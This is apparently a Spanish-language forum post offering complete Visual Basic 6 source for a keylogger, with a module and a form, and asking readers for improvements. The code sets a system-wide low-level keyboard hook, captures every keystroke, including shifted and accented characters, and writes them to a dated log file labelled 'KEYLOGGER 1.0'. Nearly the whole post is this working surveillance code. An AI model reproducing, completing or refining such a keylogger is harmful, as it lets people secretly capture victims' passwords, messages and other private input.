Autor
Cualquier mejora o consejo es bienvenida.
Módulo:
Código:
Option Explicit
Private Declare Function LoadLibrary Lib "kernel32.dll" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function GetProcAddress Lib "kernel32.dll" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hMod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal cb As Long)
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Type KBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Public Const KEYEVENTF_KEYDOWN = &H0
Public Const KEYEVENTF_EXTENDEDKEY = &H1
Public Const KEYEVENTF_KEYUP = &H2
' Low-Level Keyboard Constants
Private Const HC_ACTION = 0
Private Const LLKHF_EXTENDED = &H1
Private Const LLKHF_INJECTED = &H10
Private Const LLKHF_ALTDOWN = &H20
Private Const LLKHF_UP = &H80
' Virtual Keys
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Public Const VK_ESCAPE = &H1B
Public Const VK_DELETE = &H2E
Public Const VK_SHIFT = &HA0
Public Const VK_RSHIFT = &HA1
Private Const WH_KEYBOARD_LL = 13&
'Private Const WH_KEYBOARD_LL As Long = 13
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_DEADCHAR = &H103
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Const WM_SYSCHAR = &H106
Private Const WM_SYSDEADCHAR = &H107
Private Const WM_IME_KEYDOWN = &H290
Public Buffer_Len As Integer
Public nFile As Integer
Dim Log_Path As String
Dim Last_Key As Long
Dim Last_Msg As Long
Dim Last_Shift As Boolean
Dim Shift_Trigger As Boolean
Dim hHook As Long
Public Sub Iniciar_Keylogger()
'Dim hMod As Long
Dim Header As String
Last_Key = 0
Last_Msg = 0
Last_Shift = False
Shift_Trigger = False
Buffer_Len = 30
Form1.txtLog.Text = vbNullString
Log_Path = App.Path & "\" & Format(Date, "yyyy-MM-dd")
nFile = FreeFile
Open Log_Path For Binary Access Write As #nFile
If LOF(nFile) > 0 Then
Seek #nFile, LOF(nFile) + 1
End If
Header = "[KEYLOGGER 1.0 - " & Format(Date, "yyyy-MM-dd hh:mm") & "]" & vbCrLf & "[INI]" & vbCrLf
Put #nFile, , Header
'hMod = GetProcAddress(LoadLibrary("USER32"), "SetWindowsHookExA")
'hHook = Invoke(hMod, WH_KEYBOARD_LL, AddressOf KBProc, 0, 0)
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0&) 'App.hInstance
End Sub
Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
'On Error Resume Next
'Static KBMsg As KBDLLHOOKSTRUCT
Static i As Long
i = i + 1
If (nCode = HC_ACTION) Then
'Call CopyMemory(KBMsg, ByVal lParam, Len(KBMsg))
If (wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN) Then
If (lParam = 186) Then
If Shift_Trigger Then
Call Add_Text(Form1.txtLog, "^")
Else
Call Add_Text(Form1.txtLog, "`")
End If
Shift_Trigger = False
ElseIf (lParam = 222) Then
If Shift_Trigger Then
Call Add_Text(Form1.txtLog, "¨")
Else
Call Add_Text(Form1.txtLog, "´")
End If
Shift_Trigger = False
Else
If (Last_Key = 186 Or Last_Key = 222 Or lParam = 8) Then
Call Add_Text(Form1.txtLog, Chr(lParam))
Else
Call PostMessage(Form1.txtLog.hWnd, wParam, lParam, 0&)
End If
End If
'Detecta si shift está presionado
If (lParam = VK_SHIFT Or lParam = VK_RSHIFT) Then Last_Shift = True
Call Add_Text(Form1.Text2, "[" & i & "] DOWN " & lParam & " " & Last_Shift & vbNewLine)
End If
If (wParam = WM_KEYUP Or wParam = WM_SYSKEYUP) Then
If (lParam = 186 Or lParam = 222) Then
If Last_Shift Then
Shift_Trigger = True
End If
End If
'Detecta si shift se dejó de presionar
If (lParam = VK_SHIFT Or lParam = VK_RSHIFT) Then Last_Shift = False
Call Add_Text(Form1.Text2, "[" & i & "] UP " & lParam & " " & Last_Shift & vbNewLine)
End If
Last_Msg = wParam
Last_Key = lParam
End If
KBProc = CallNextHookEx(hHook, nCode, wParam, lParam)
End Function
Public Sub Add_Text(objTextBox As TextBox, sText As String)
objTextBox.Text = objTextBox.Text & sText
objTextBox.SelStart = Len(objTextBox.Text)
End Sub
Public Sub Terminar_Keylogger()
'Dim hMod As Long
'hMod = GetProcAddress(LoadLibrary("USER32"), "UnhookWindowsHookEx")
'Call Invoke(hMod, hHook)
Call UnhookWindowsHookEx(hHook)
If Len(Form1.txtLog.Text) > 0 Then
Put #nFile, , Form1.txtLog.Text
End If
Put #nFile, , "[FIN]" & vbCrLf
Close #nFile
End Sub
Form1: (agregar un TextoBox: "txtLog" y "Text2", ambos MultiLine=True
Código:
Private Sub Form_Load()
Call Iniciar_Keylogger
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call Terminar_Keylogger
End Sub
Private Sub txtLog_KeyPress(KeyAscii As Integer)
If Len(txtLog.Text) > Buffer_Len Then
Put #nFile, , txtLog.Text
txtLog.Text = vbNullString
End If
End Sub
En línea
